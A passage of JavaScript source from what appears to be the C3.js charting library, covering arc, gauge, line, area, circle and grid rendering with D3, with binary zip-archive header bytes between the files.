        return config.gauge_expand_duration;
    } else if ($$.isPieType(id)) {
        return config.pie_expand_duration;
    } else {
        return 50;
    }

};

ChartInternal.prototype.shouldExpand = function (id) {
    var $$ = this, config = $$.config;
    return ($$.isDonutType(id) && config.donut_expand) ||
           ($$.isGaugeType(id) && config.gauge_expand) ||
           ($$.isPieType(id) && config.pie_expand);
};

ChartInternal.prototype.shouldShowArcLabel = function () {
    var $$ = this, config = $$.config, shouldShow = true;
    if ($$.hasType('donut')) {
        shouldShow = config.donut_label_show;
    } else if ($$.hasType('pie')) {
        shouldShow = config.pie_label_show;
    }
    // when gauge, always true
    return shouldShow;
};

ChartInternal.prototype.meetsArcLabelThreshold = function (ratio) {
    var $$ = this, config = $$.config,
        threshold = $$.hasType('donut') ? config.donut_label_threshold : config.pie_label_threshold;
    return ratio >= threshold;
};

ChartInternal.prototype.getArcLabelFormat = function () {
    var $$ = this, config = $$.config,
        format = config.pie_label_format;
    if ($$.hasType('gauge')) {
        format = config.gauge_label_format;
    } else if ($$.hasType('donut')) {
        format = config.donut_label_format;
    }
    return format;
};

ChartInternal.prototype.getGaugeLabelExtents = function () {
    var $$ = this, config = $$.config;
    return config.gauge_label_extents;
};

ChartInternal.prototype.getArcTitle = function () {
    var $$ = this;
    return $$.hasType('donut') ? $$.config.donut_title : "";
};

ChartInternal.prototype.updateTargetsForArc = function (targets) {
    var $$ = this, main = $$.main,
        mainPies, mainPieEnter,
        classChartArc = $$.classChartArc.bind($$),
        classArcs = $$.classArcs.bind($$),
        classFocus = $$.classFocus.bind($$);
    mainPies = main.select('.' + CLASS.chartArcs).selectAll('.' + CLASS.chartArc)
        .data($$.pie(targets))
        .attr("class", function (d) { return classChartArc(d) + classFocus(d.data); });
    mainPieEnter = mainPies.enter().append("g")
        .attr("class", classChartArc);
    mainPieEnter.append('g')
        .attr('class', classArcs);
    mainPieEnter.append("text")
        .attr("dy", $$.hasType('gauge') ? "-.1em" : ".35em")
        .style("opacity", 0)
        .style("text-anchor", "middle")
        .style("pointer-events", "none");
    // MEMO: can not keep same color..., but not bad to update color in redraw
    //mainPieUpdate.exit().remove();
};

ChartInternal.prototype.initArc = function () {
    var $$ = this;
    $$.arcs = $$.main.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.chartArcs)
        .attr("transform", $$.getTranslate('arc'));
    $$.arcs.append('text')
        .attr('class', CLASS.chartArcsTitle)
        .style("text-anchor", "middle")
        .text($$.getArcTitle());
};

ChartInternal.prototype.redrawArc = function (duration, durationForExit, withTransform) {
    var $$ = this, d3 = $$.d3, config = $$.config, main = $$.main,
        arcs, mainArc,
	arcLabelLines, mainArcLabelLine,
	hasGaugeType = $$.hasType('gauge');
    arcs = main.selectAll('.' + CLASS.arcs).selectAll('.' + CLASS.arc)
        .data($$.arcData.bind($$));
    mainArc = arcs.enter().append('path')
        .attr("class", $$.classArc.bind($$))
        .style("fill", function (d) { return $$.color(d.data); })
        .style("cursor", function (d) { return config.interaction_enabled && config.data_selection_isselectable(d) ? "pointer" : null; })
        .each(function (d) {
            if ($$.isGaugeType(d.data)) {
                d.startAngle = d.endAngle = config.gauge_startingAngle;
            }
            this._current = d;
        })
        .merge(arcs);
    if (hasGaugeType) {
        arcLabelLines = main.selectAll('.' + CLASS.arcs).selectAll('.' + CLASS.arcLabelLine)
            .data($$.arcData.bind($$));
        mainArcLabelLine = arcLabelLines.enter().append('rect')
            .attr("class", function (d) { return CLASS.arcLabelLine + ' ' + CLASS.target + ' ' + CLASS.target + '-' + d.data.id; })
        .merge(arcLabelLines);

        if ($$.filterTargetsToShow($$.data.targets).length === 1) {
            mainArcLabelLine.style("display", "none");
        }
        else {
            mainArcLabelLine
                .style("fill", function (d) { return config.color_pattern.length > 0 ? $$.levelColor(d.data.values[0].value) : $$.color(d.data); })
                .style("display", config.gauge_labelLine_show ? "" : "none")
                .each(function (d) {
                    var lineLength = 0, lineThickness = 2, x = 0, y = 0, transform = "";
                    if ($$.hiddenTargetIds.indexOf(d.data.id) < 0) {
                        var updated = $$.updateAngle(d),
                            innerLineLength = $$.gaugeArcWidth / $$.filterTargetsToShow($$.data.targets).length * (updated.index + 1),
                            lineAngle = updated.endAngle - Math.PI / 2,
                            arcInnerRadius = $$.radius - innerLineLength,
                            linePositioningAngle = lineAngle - (arcInnerRadius === 0 ? 0 : (1 / arcInnerRadius));
                        lineLength = $$.radiusExpanded - $$.radius + innerLineLength;
                        x = Math.cos(linePositioningAngle) * arcInnerRadius;
                        y = Math.sin(linePositioningAngle) * arcInnerRadius;
                        transform = "rotate(" + (lineAngle * 180 / Math.PI) + ", " + x + ", " + y + ")";
                    }
                    d3.select(this)
                        .attr('x', x)
                        .attr('y', y)
                        .attr('width', lineLength)
                        .attr('height', lineThickness)
                        .attr('transform', transform)
                        .style("stroke-dasharray", "0, " + (lineLength + lineThickness) + ", 0");
                });
        }
    }
    mainArc
        .attr("transform", function (d) { return !$$.isGaugeType(d.data) && withTransform ? "scale(0)" : ""; })
        .on('mouseover', config.interaction_enabled ? function (d) {
            var updated, arcData;
            if ($$.transiting) { // skip while transiting
                return;
            }
            updated = $$.updateAngle(d);
            if (updated) {
                arcData = $$.convertToArcData(updated);
                // transitions
                $$.expandArc(updated.data.id);
                $$.api.focus(updated.data.id);
                $$.toggleFocusLegend(updated.data.id, true);
                $$.config.data_onmouseover(arcData, this);
            }
        } : null)
        .on('mousemove', config.interaction_enabled ? function (d) {
            var updated = $$.updateAngle(d), arcData, selectedData;
            if (updated) {
                arcData = $$.convertToArcData(updated),
                selectedData = [arcData];
                $$.showTooltip(selectedData, this);
            }
        } : null)
        .on('mouseout', config.interaction_enabled ? function (d) {
            var updated, arcData;
            if ($$.transiting) { // skip while transiting
                return;
            }
            updated = $$.updateAngle(d);
            if (updated) {
                arcData = $$.convertToArcData(updated);
                // transitions
                $$.unexpandArc(updated.data.id);
                $$.api.revert();
                $$.revertLegend();
                $$.hideTooltip();
                $$.config.data_onmouseout(arcData, this);
            }
        } : null)
        .on('click', config.interaction_enabled ? function (d, i) {
            var updated = $$.updateAngle(d), arcData;
            if (updated) {
                arcData = $$.convertToArcData(updated);
                if ($$.toggleShape) {
                    $$.toggleShape(this, arcData, i);
                }
                $$.config.data_onclick.call($$.api, arcData, this);
            }
        } : null)
        .each(function () { $$.transiting = true; })
        .transition().duration(duration)
        .attrTween("d", function (d) {
            var updated = $$.updateAngle(d), interpolate;
            if (! updated) {
                return function () { return "M 0 0"; };
            }
            //                if (this._current === d) {
            //                    this._current = {
            //                        startAngle: Math.PI*2,
            //                        endAngle: Math.PI*2,
            //                    };
            //                }
            if (isNaN(this._current.startAngle)) {
                this._current.startAngle = 0;
            }
            if (isNaN(this._current.endAngle)) {
                this._current.endAngle = this._current.startAngle;
            }
            interpolate = d3.interpolate(this._current, updated);
            this._current = interpolate(0);
            return function (t) {
                var interpolated = interpolate(t);
                interpolated.data = d.data; // data.id will be updated by interporator
                return $$.getArc(interpolated, true);
            };
        })
        .attr("transform", withTransform ? "scale(1)" : "")
        .style("fill", function (d) {
            return $$.levelColor ? $$.levelColor(d.data.values[0].value) : $$.color(d.data.id);
        }) // Where gauge reading color would receive customization.
        .call($$.endall, function () {
            $$.transiting = false;
        });
    arcs.exit().transition().duration(durationForExit)
        .style('opacity', 0)
        .remove();
    main.selectAll('.' + CLASS.chartArc).select('text')
        .style("opacity", 0)
        .attr('class', function (d) { return $$.isGaugeType(d.data) ? CLASS.gaugeValue : ''; })
        .text($$.textForArcLabel.bind($$))
        .attr("transform", $$.transformForArcLabel.bind($$))
        .style('font-size', function (d) { return $$.isGaugeType(d.data) && $$.filterTargetsToShow($$.data.targets).length === 1 ? Math.round($$.radius / 5) + 'px' : ''; })
      .transition().duration(duration)
        .style("opacity", function (d) { return $$.isTargetToShow(d.data.id) && $$.isArcType(d.data) ? 1 : 0; });
    main.select('.' + CLASS.chartArcsTitle)
        .style("opacity", $$.hasType('donut') || hasGaugeType ? 1 : 0);

    if (hasGaugeType) {
        let index = 0;
        const backgroundArc = $$.arcs.select('g.' + CLASS.chartArcsBackground).selectAll('path.' + CLASS.chartArcsBackground).data($$.data.targets);

        backgroundArc
            .enter()
            .append("path")
            .attr("class", (d, i) => CLASS.chartArcsBackground + ' ' + CLASS.chartArcsBackground +'-'+ i)
            .merge(backgroundArc)
            .attr("d", d1 => {
                if ($$.hiddenTargetIds.indexOf(d1.id) >= 0) { return "M 0 0"; }

                var d = {
                    data: [{value: config.gauge_max}],
                    startAngle: config.gauge_startingAngle,
                    endAngle: -1 * config.gauge_startingAngle * (config.gauge_fullCircle ? Math.PI : 1),
                    index: index++
                };
                return $$.getArc(d, true, true);
            });

        backgroundArc
            .exit()
            .remove();

        $$.arcs.select('.' + CLASS.chartArcsGaugeUnit)
            .attr("dy", ".75em")
            .text(config.gauge_label_show ? config.gauge_units : '');
        $$.arcs.select('.' + CLASS.chartArcsGaugeMin)
            .attr("dx", -1 * ($$.innerRadius + (($$.radius - $$.innerRadius) / (config.gauge_fullCircle ? 1 : 2))) + "px")
            .attr("dy", "1.2em")
            .text(config.gauge_label_show ? $$.textForGaugeMinMax(config.gauge_min, false) : '');
        $$.arcs.select('.' + CLASS.chartArcsGaugeMax)
            .attr("dx", $$.innerRadius + (($$.radius - $$.innerRadius) / (config.gauge_fullCircle ? 1 : 2)) + "px")
            .attr("dy", "1.2em")
            .text(config.gauge_label_show ? $$.textForGaugeMinMax(config.gauge_max, true) : '');
    }
};
ChartInternal.prototype.initGauge = function () {
    var arcs = this.arcs;
    if (this.hasType('gauge')) {
        arcs.append('g')
            .attr("class", CLASS.chartArcsBackground);
        arcs.append("text")
            .attr("class", CLASS.chartArcsGaugeUnit)
            .style("text-anchor", "middle")
            .style("pointer-events", "none");
        arcs.append("text")
            .attr("class", CLASS.chartArcsGaugeMin)
            .style("text-anchor", "middle")
            .style("pointer-events", "none");
        arcs.append("text")
            .attr("class", CLASS.chartArcsGaugeMax)
            .style("text-anchor", "middle")
            .style("pointer-events", "none");
    }
};
ChartInternal.prototype.getGaugeLabelHeight = function () {
    return this.config.gauge_label_show ? 20 : 0;
};
PKK|�\y�S��A�A
shape.line.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isValue, isFunction, isUndefined, isDefined } from './util';

ChartInternal.prototype.initLine = function () {
    var $$ = this;
    $$.main.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.chartLines);
};
ChartInternal.prototype.updateTargetsForLine = function (targets) {
    var $$ = this, config = $$.config,
        mainLines, mainLineEnter,
        classChartLine = $$.classChartLine.bind($$),
        classLines = $$.classLines.bind($$),
        classAreas = $$.classAreas.bind($$),
        classCircles = $$.classCircles.bind($$),
        classFocus = $$.classFocus.bind($$);
    mainLines = $$.main.select('.' + CLASS.chartLines).selectAll('.' + CLASS.chartLine)
        .data(targets)
        .attr('class', function (d) { return classChartLine(d) + classFocus(d); });
    mainLineEnter = mainLines.enter().append('g')
        .attr('class', classChartLine)
        .style('opacity', 0)
        .style("pointer-events", "none");
    // Lines for each data
    mainLineEnter.append('g')
        .attr("class", classLines);
    // Areas
    mainLineEnter.append('g')
        .attr('class', classAreas);
    // Circles for each data point on lines
    mainLineEnter.append('g')
        .attr("class", function (d) { return $$.generateClass(CLASS.selectedCircles, d.id); });
    mainLineEnter.append('g')
        .attr("class", classCircles)
        .style("cursor", function (d) { return config.data_selection_isselectable(d) ? "pointer" : null; });
    // Update date for selected circles
    targets.forEach(function (t) {
        $$.main.selectAll('.' + CLASS.selectedCircles + $$.getTargetSelectorSuffix(t.id)).selectAll('.' + CLASS.selectedCircle).each(function (d) {
            d.value = t.values[d.index].value;
        });
    });
    // MEMO: can not keep same color...
    //mainLineUpdate.exit().remove();
};
ChartInternal.prototype.updateLine = function (durationForExit) {
    var $$ = this;
    var mainLine = $$.main.selectAll('.' + CLASS.lines).selectAll('.' + CLASS.line)
        .data($$.lineData.bind($$));
    var mainLineEnter = mainLine.enter().append('path')
        .attr('class', $$.classLine.bind($$))
        .style("stroke", $$.color);
    $$.mainLine = mainLineEnter.merge(mainLine)
        .style("opacity", $$.initialOpacity.bind($$))
        .style('shape-rendering', function (d) { return $$.isStepType(d) ? 'crispEdges' : ''; })
        .attr('transform', null);
    mainLine.exit().transition().duration(durationForExit)
        .style('opacity', 0);
};
ChartInternal.prototype.redrawLine = function (drawLine, withTransition, transition) {
    return [
        (withTransition ? this.mainLine.transition(transition) : this.mainLine)
            .attr("d", drawLine)
            .style("stroke", this.color)
            .style("opacity", 1)
    ];
};
ChartInternal.prototype.generateDrawLine = function (lineIndices, isSub) {
    var $$ = this, config = $$.config,
        line = $$.d3.line(),
        getPoints = $$.generateGetLinePoints(lineIndices, isSub),
        yScaleGetter = isSub ? $$.getSubYScale : $$.getYScale,
        xValue = function (d) { return (isSub ? $$.subxx : $$.xx).call($$, d); },
        yValue = function (d, i) {
            return config.data_groups.length > 0 ? getPoints(d, i)[0][1] : yScaleGetter.call($$, d.id)(d.value);
        };

    line = config.axis_rotated ? line.x(yValue).y(xValue) : line.x(xValue).y(yValue);
    if (!config.line_connectNull) { line = line.defined(function (d) { return d.value != null; }); }
    return function (d) {
        var values = config.line_connectNull ? $$.filterRemoveNull(d.values) : d.values,
            x = isSub ? $$.subX : $$.x, y = yScaleGetter.call($$, d.id), x0 = 0, y0 = 0, path;
        if ($$.isLineType(d)) {
            if (config.data_regions[d.id]) {
                path = $$.lineWithRegions(values, x, y, config.data_regions[d.id]);
            } else {
                if ($$.isStepType(d)) { values = $$.convertValuesToStep(values); }
                path = line.curve($$.getInterpolate(d))(values);
            }
        } else {
            if (values[0]) {
                x0 = x(values[0].x);
                y0 = y(values[0].value);
            }
            path = config.axis_rotated ? "M " + y0 + " " + x0 : "M " + x0 + " " + y0;
        }
        return path ? path : "M 0 0";
    };
};
ChartInternal.prototype.generateGetLinePoints = function (lineIndices, isSub) { // partial duplication of generateGetBarPoints
    var $$ = this, config = $$.config,
        lineTargetsNum = lineIndices.__max__ + 1,
        x = $$.getShapeX(0, lineTargetsNum, lineIndices, !!isSub),
        y = $$.getShapeY(!!isSub),
        lineOffset = $$.getShapeOffset($$.isLineType, lineIndices, !!isSub),
        yScale = isSub ? $$.getSubYScale : $$.getYScale;
    return function (d, i) {
        var y0 = yScale.call($$, d.id)(0),
            offset = lineOffset(d, i) || y0, // offset is for stacked area chart
            posX = x(d), posY = y(d);
        // fix posY not to overflow opposite quadrant
        if (config.axis_rotated) {
            if ((0 < d.value && posY < y0) || (d.value < 0 && y0 < posY)) { posY = y0; }
        }
        // 1 point that marks the line position
        return [
            [posX, posY - (y0 - offset)],
            [posX, posY - (y0 - offset)], // needed for compatibility
            [posX, posY - (y0 - offset)], // needed for compatibility
            [posX, posY - (y0 - offset)]  // needed for compatibility
        ];
    };
};


ChartInternal.prototype.lineWithRegions = function (d, x, y, _regions) {
    var $$ = this, config = $$.config,
        prev = -1, i, j,
        s = "M", sWithRegion,
        xp, yp, dx, dy, dd, diff, diffx2,
        xOffset = $$.isCategorized() ? 0.5 : 0,
        xValue, yValue,
        regions = [];

    function isWithinRegions(x, regions) {
        var i;
        for (i = 0; i < regions.length; i++) {
            if (regions[i].start < x && x <= regions[i].end) { return true; }
        }
        return false;
    }

    // Check start/end of regions
    if (isDefined(_regions)) {
        for (i = 0; i < _regions.length; i++) {
            regions[i] = {};
            if (isUndefined(_regions[i].start)) {
                regions[i].start = d[0].x;
            } else {
                regions[i].start = $$.isTimeSeries() ? $$.parseDate(_regions[i].start) : _regions[i].start;
            }
            if (isUndefined(_regions[i].end)) {
                regions[i].end = d[d.length - 1].x;
            } else {
                regions[i].end = $$.isTimeSeries() ? $$.parseDate(_regions[i].end) : _regions[i].end;
            }
        }
    }

    // Set scales
    xValue = config.axis_rotated ? function (d) { return y(d.value); } : function (d) { return x(d.x); };
    yValue = config.axis_rotated ? function (d) { return x(d.x); } : function (d) { return y(d.value); };

    // Define svg generator function for region
    function generateM(points) {
        return 'M' + points[0][0] + ' ' + points[0][1] + ' ' + points[1][0] + ' ' + points[1][1];
    }
    if ($$.isTimeSeries()) {
        sWithRegion = function (d0, d1, j, diff) {
            var x0 = d0.x.getTime(), x_diff = d1.x - d0.x,
                xv0 = new Date(x0 + x_diff * j),
                xv1 = new Date(x0 + x_diff * (j + diff)),
                points;
            if (config.axis_rotated) {
                points = [[y(yp(j)), x(xv0)], [y(yp(j + diff)), x(xv1)]];
            } else {
                points = [[x(xv0), y(yp(j))], [x(xv1), y(yp(j + diff))]];
            }
            return generateM(points);
        };
    } else {
        sWithRegion = function (d0, d1, j, diff) {
            var points;
            if (config.axis_rotated) {
                points = [[y(yp(j), true), x(xp(j))], [y(yp(j + diff), true), x(xp(j + diff))]];
            } else {
                points = [[x(xp(j), true), y(yp(j))], [x(xp(j + diff), true), y(yp(j + diff))]];
            }
            return generateM(points);
        };
    }

    // Generate
    for (i = 0; i < d.length; i++) {

        // Draw as normal
        if (isUndefined(regions) || ! isWithinRegions(d[i].x, regions)) {
            s += " " + xValue(d[i]) + " " + yValue(d[i]);
        }
        // Draw with region // TODO: Fix for horizotal charts
        else {
            xp = $$.getScale(d[i - 1].x + xOffset, d[i].x + xOffset, $$.isTimeSeries());
            yp = $$.getScale(d[i - 1].value, d[i].value);

            dx = x(d[i].x) - x(d[i - 1].x);
            dy = y(d[i].value) - y(d[i - 1].value);
            dd = Math.sqrt(Math.pow(dx, 2) + Math.pow(dy, 2));
            diff = 2 / dd;
            diffx2 = diff * 2;

            for (j = diff; j <= 1; j += diffx2) {
                s += sWithRegion(d[i - 1], d[i], j, diff);
            }
        }
        prev = d[i].x;
    }

    return s;
};


ChartInternal.prototype.updateArea = function (durationForExit) {
    var $$ = this, d3 = $$.d3;
    var mainArea = $$.main.selectAll('.' + CLASS.areas).selectAll('.' + CLASS.area)
        .data($$.lineData.bind($$));
    var mainAreaEnter = mainArea.enter().append('path')
        .attr("class", $$.classArea.bind($$))
        .style("fill", $$.color)
        .style("opacity", function () { $$.orgAreaOpacity = +d3.select(this).style('opacity'); return 0; });
    $$.mainArea = mainAreaEnter.merge(mainArea)
        .style("opacity", $$.orgAreaOpacity);
    mainArea.exit().transition().duration(durationForExit)
        .style('opacity', 0);
};
ChartInternal.prototype.redrawArea = function (drawArea, withTransition, transition) {
    return [
        (withTransition ? this.mainArea.transition(transition) : this.mainArea)
            .attr("d", drawArea)
            .style("fill", this.color)
            .style("opacity", this.orgAreaOpacity)
    ];
};
ChartInternal.prototype.generateDrawArea = function (areaIndices, isSub) {
    var $$ = this, config = $$.config, area = $$.d3.area(),
        getPoints = $$.generateGetAreaPoints(areaIndices, isSub),
        yScaleGetter = isSub ? $$.getSubYScale : $$.getYScale,
        xValue = function (d) { return (isSub ? $$.subxx : $$.xx).call($$, d); },
        value0 = function (d, i) {
            return config.data_groups.length > 0 ? getPoints(d, i)[0][1] : yScaleGetter.call($$, d.id)($$.getAreaBaseValue(d.id));
        },
        value1 = function (d, i) {
            return config.data_groups.length > 0 ? getPoints(d, i)[1][1] : yScaleGetter.call($$, d.id)(d.value);
        };

    area = config.axis_rotated ? area.x0(value0).x1(value1).y(xValue) : area.x(xValue).y0(config.area_above ? 0 : value0).y1(value1);
    if (!config.line_connectNull) {
        area = area.defined(function (d) { return d.value !== null; });
    }

    return function (d) {
        var values = config.line_connectNull ? $$.filterRemoveNull(d.values) : d.values,
            x0 = 0, y0 = 0, path;
        if ($$.isAreaType(d)) {
            if ($$.isStepType(d)) { values = $$.convertValuesToStep(values); }
            path = area.curve($$.getInterpolate(d))(values);
        } else {
            if (values[0]) {
                x0 = $$.x(values[0].x);
                y0 = $$.getYScale(d.id)(values[0].value);
            }
            path = config.axis_rotated ? "M " + y0 + " " + x0 : "M " + x0 + " " + y0;
        }
        return path ? path : "M 0 0";
    };
};
ChartInternal.prototype.getAreaBaseValue = function () {
    return 0;
};
ChartInternal.prototype.generateGetAreaPoints = function (areaIndices, isSub) { // partial duplication of generateGetBarPoints
    var $$ = this, config = $$.config,
        areaTargetsNum = areaIndices.__max__ + 1,
        x = $$.getShapeX(0, areaTargetsNum, areaIndices, !!isSub),
        y = $$.getShapeY(!!isSub),
        areaOffset = $$.getShapeOffset($$.isAreaType, areaIndices, !!isSub),
        yScale = isSub ? $$.getSubYScale : $$.getYScale;
    return function (d, i) {
        var y0 = yScale.call($$, d.id)(0),
            offset = areaOffset(d, i) || y0, // offset is for stacked area chart
            posX = x(d), posY = y(d);
        // fix posY not to overflow opposite quadrant
        if (config.axis_rotated) {
            if ((0 < d.value && posY < y0) || (d.value < 0 && y0 < posY)) { posY = y0; }
        }
        // 1 point that marks the area position
        return [
            [posX, offset],
            [posX, posY - (y0 - offset)],
            [posX, posY - (y0 - offset)], // needed for compatibility
            [posX, offset] // needed for compatibility
        ];
    };
};


ChartInternal.prototype.updateCircle = function (cx, cy) {
    var $$ = this;
    var mainCircle = $$.main.selectAll('.' + CLASS.circles).selectAll('.' + CLASS.circle)
        .data($$.lineOrScatterData.bind($$));
    var mainCircleEnter = mainCircle.enter().append("circle")
        .attr("class", $$.classCircle.bind($$))
        .attr("cx", cx)
        .attr("cy", cy)
        .attr("r", $$.pointR.bind($$))
        .style("fill", $$.color);
    $$.mainCircle = mainCircleEnter.merge(mainCircle)
        .style("opacity", $$.initialOpacityForCircle.bind($$));
    mainCircle.exit()
        .style("opacity", 0);
};
ChartInternal.prototype.redrawCircle = function (cx, cy, withTransition, transition) {
    var $$ = this,
        selectedCircles = $$.main.selectAll('.' + CLASS.selectedCircle);
    return [
        (withTransition ? $$.mainCircle.transition(transition) : $$.mainCircle)
            .style('opacity', this.opacityForCircle.bind($$))
            .style("fill", $$.color)
            .attr("cx", cx)
            .attr("cy", cy),
        (withTransition ? selectedCircles.transition(transition) : selectedCircles)
            .attr("cx", cx)
            .attr("cy", cy)
    ];
};
ChartInternal.prototype.circleX = function (d) {
    return d.x || d.x === 0 ? this.x(d.x) : null;
};
ChartInternal.prototype.updateCircleY = function () {
    var $$ = this, lineIndices, getPoints;
    if ($$.config.data_groups.length > 0) {
        lineIndices = $$.getShapeIndices($$.isLineType),
        getPoints = $$.generateGetLinePoints(lineIndices);
        $$.circleY = function (d, i) {
            return getPoints(d, i)[0][1];
        };
    } else {
        $$.circleY = function (d) {
            return $$.getYScale(d.id)(d.value);
        };
    }
};
ChartInternal.prototype.getCircles = function (i, id) {
    var $$ = this;
    return (id ? $$.main.selectAll('.' + CLASS.circles + $$.getTargetSelectorSuffix(id)) : $$.main).selectAll('.' + CLASS.circle + (isValue(i) ? '-' + i : ''));
};
ChartInternal.prototype.expandCircles = function (i, id, reset) {
    var $$ = this,
        r = $$.pointExpandedR.bind($$);
    if (reset) { $$.unexpandCircles(); }
    $$.getCircles(i, id)
        .classed(CLASS.EXPANDED, true)
        .attr('r', r);
};
ChartInternal.prototype.unexpandCircles = function (i) {
    var $$ = this,
        r = $$.pointR.bind($$);
    $$.getCircles(i)
        .filter(function () { return $$.d3.select(this).classed(CLASS.EXPANDED); })
        .classed(CLASS.EXPANDED, false)
        .attr('r', r);
};
ChartInternal.prototype.pointR = function (d) {
    var $$ = this, config = $$.config;
    return $$.isStepType(d) ? 0 : (isFunction(config.point_r) ? config.point_r(d) : config.point_r);
};
ChartInternal.prototype.pointExpandedR = function (d) {
    var $$ = this, config = $$.config;
    if (config.point_focus_expand_enabled) {
        return isFunction(config.point_focus_expand_r) ? config.point_focus_expand_r(d) : ((config.point_focus_expand_r) ? config.point_focus_expand_r : $$.pointR(d) * 1.75);
    } else {
        return $$.pointR(d);
    }
};
ChartInternal.prototype.pointSelectR = function (d) {
    var $$ = this, config = $$.config;
    return isFunction(config.point_select_r) ? config.point_select_r(d) : ((config.point_select_r) ? config.point_select_r : $$.pointR(d) * 4);
};
ChartInternal.prototype.isWithinCircle = function (that, r) {
    var d3 = this.d3,
        mouse = d3.mouse(that), d3_this = d3.select(that),
        cx = +d3_this.attr("cx"), cy = +d3_this.attr("cy");
    return Math.sqrt(Math.pow(cx - mouse[0], 2) + Math.pow(cy - mouse[1], 2)) < r;
};
ChartInternal.prototype.isWithinStep = function (that, y) {
    return Math.abs(y - this.d3.mouse(that)[1]) < 30;
};
PKK|�\��u]\-\-grid.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isValue } from './util';

ChartInternal.prototype.initGrid = function () {
    var $$ = this, config = $$.config, d3 = $$.d3;
    $$.grid = $$.main.append('g')
        .attr("clip-path", $$.clipPathForGrid)
        .attr('class', CLASS.grid);
    if (config.grid_x_show) {
        $$.grid.append("g").attr("class", CLASS.xgrids);
    }
    if (config.grid_y_show) {
        $$.grid.append('g').attr('class', CLASS.ygrids);
    }
    if (config.grid_focus_show) {
        $$.grid.append('g')
            .attr("class", CLASS.xgridFocus)
            .append('line')
            .attr('class', CLASS.xgridFocus);
    }
    $$.xgrid = d3.selectAll([]);
    if (!config.grid_lines_front) { $$.initGridLines(); }
};
ChartInternal.prototype.initGridLines = function () {
    var $$ = this, d3 = $$.d3;
    $$.gridLines = $$.main.append('g')
        .attr("clip-path", $$.clipPathForGrid)
        .attr('class', CLASS.grid + ' ' + CLASS.gridLines);
    $$.gridLines.append('g').attr("class", CLASS.xgridLines);
    $$.gridLines.append('g').attr('class', CLASS.ygridLines);
    $$.xgridLines = d3.selectAll([]);
};
ChartInternal.prototype.updateXGrid = function (withoutUpdate) {
    var $$ = this, config = $$.config, d3 = $$.d3,
        xgridData = $$.generateGridData(config.grid_x_type, $$.x),
        tickOffset = $$.isCategorized() ? $$.xAxis.tickOffset() : 0;

    $$.xgridAttr = config.axis_rotated ? {
        'x1': 0,
        'x2': $$.width,
        'y1': function (d) { return $$.x(d) - tickOffset; },
        'y2': function (d) { return $$.x(d) - tickOffset; }
    } : {
        'x1': function (d) { return $$.x(d) + tickOffset; },
        'x2': function (d) { return $$.x(d) + tickOffset; },
        'y1': 0,
        'y2': $$.height
    };
    $$.xgridAttr.opacity = function () {
        var pos = +d3.select(this).attr(config.axis_rotated ? 'y1' : 'x1');
        return pos === (config.axis_rotated ? $$.height : 0) ? 0 : 1;
    };

    var xgrid = $$.main.select('.' + CLASS.xgrids).selectAll('.' + CLASS.xgrid)
        .data(xgridData);
    var xgridEnter = xgrid.enter().append('line')
        .attr("class", CLASS.xgrid)
        .attr('x1', $$.xgridAttr.x1)
        .attr('x2', $$.xgridAttr.x2)
        .attr('y1', $$.xgridAttr.y1)
        .attr('y2', $$.xgridAttr.y2)
        .style("opacity", 0);
    $$.xgrid = xgridEnter.merge(xgrid);
    if (!withoutUpdate) {
        $$.xgrid
            .attr('x1', $$.xgridAttr.x1)
            .attr('x2', $$.xgridAttr.x2)
            .attr('y1', $$.xgridAttr.y1)
            .attr('y2', $$.xgridAttr.y2)
            .style("opacity", $$.xgridAttr.opacity);
    }
    xgrid.exit().remove();
};

ChartInternal.prototype.updateYGrid = function () {
    var $$ = this, config = $$.config,
        gridValues = $$.yAxis.tickValues() || $$.y.ticks(config.grid_y_ticks);
    var ygrid = $$.main.select('.' + CLASS.ygrids).selectAll('.' + CLASS.ygrid)
        .data(gridValues);
    var ygridEnter = ygrid.enter().append('line')
        // TODO: x1, x2, y1, y2, opacity need to be set here maybe
        .attr('class', CLASS.ygrid);
    $$.ygrid = ygridEnter.merge(ygrid);
    $$.ygrid
        .attr("x1", config.axis_rotated ? $$.y : 0)
        .attr("x2", config.axis_rotated ? $$.y : $$.width)
        .attr("y1", config.axis_rotated ? 0 : $$.y)
        .attr("y2", config.axis_rotated ? $$.height : $$.y);
    ygrid.exit().remove();
    $$.smoothLines($$.ygrid, 'grid');
};

ChartInternal.prototype.gridTextAnchor = function (d) {
    return d.position ? d.position : "end";
};
ChartInternal.prototype.gridTextDx = function (d) {
    return d.position === 'start' ? 4 : d.position === 'middle' ? 0 : -4;
};
ChartInternal.prototype.xGridTextX = function (d) {
    return d.position === 'start' ? -this.height : d.position === 'middle' ? -this.height / 2 : 0;
};
ChartInternal.prototype.yGridTextX = function (d) {
    return d.position === 'start' ? 0 : d.position === 'middle' ? this.width / 2 : this.width;
};
ChartInternal.prototype.updateGrid = function (duration) {
    var $$ = this, main = $$.main, config = $$.config,
        xgridLine, xgridLineEnter, ygridLine, ygridLineEnter,
        xv = $$.xv.bind($$), yv = $$.yv.bind($$),
        xGridTextX = $$.xGridTextX.bind($$), yGridTextX = $$.yGridTextX.bind($$);

    // hide if arc type
    $$.grid.style('visibility', $$.hasArcType() ? 'hidden' : 'visible');

    main.select('line.' + CLASS.xgridFocus).style("visibility", "hidden");
    if (config.grid_x_show) {
        $$.updateXGrid();
    }
    xgridLine = main.select('.' + CLASS.xgridLines).selectAll('.' + CLASS.xgridLine)
        .data(config.grid_x_lines);
    // enter
    xgridLineEnter = xgridLine.enter().append('g')
        .attr("class", function (d) { return CLASS.xgridLine + (d['class'] ? ' ' + d['class'] : ''); });
    xgridLineEnter.append('line')
        .attr("x1", config.axis_rotated ? 0 : xv)
        .attr("x2", config.axis_rotated ? $$.width : xv)
        .attr("y1", config.axis_rotated ? xv : 0)
        .attr("y2", config.axis_rotated ? xv : $$.height)
        .style("opacity", 0);
    xgridLineEnter.append('text')
        .attr("text-anchor", $$.gridTextAnchor)
        .attr("transform", config.axis_rotated ? "" : "rotate(-90)")
        .attr("x", config.axis_rotated ? yGridTextX : xGridTextX)
        .attr("y", xv)
        .attr('dx', $$.gridTextDx)
        .attr('dy', -5)
        .style("opacity", 0);
    // udpate
    $$.xgridLines = xgridLineEnter.merge(xgridLine);
    // done in d3.transition() of the end of this function
    // exit
    xgridLine.exit().transition().duration(duration)
        .style("opacity", 0)
        .remove();

    // Y-Grid
    if (config.grid_y_show) {
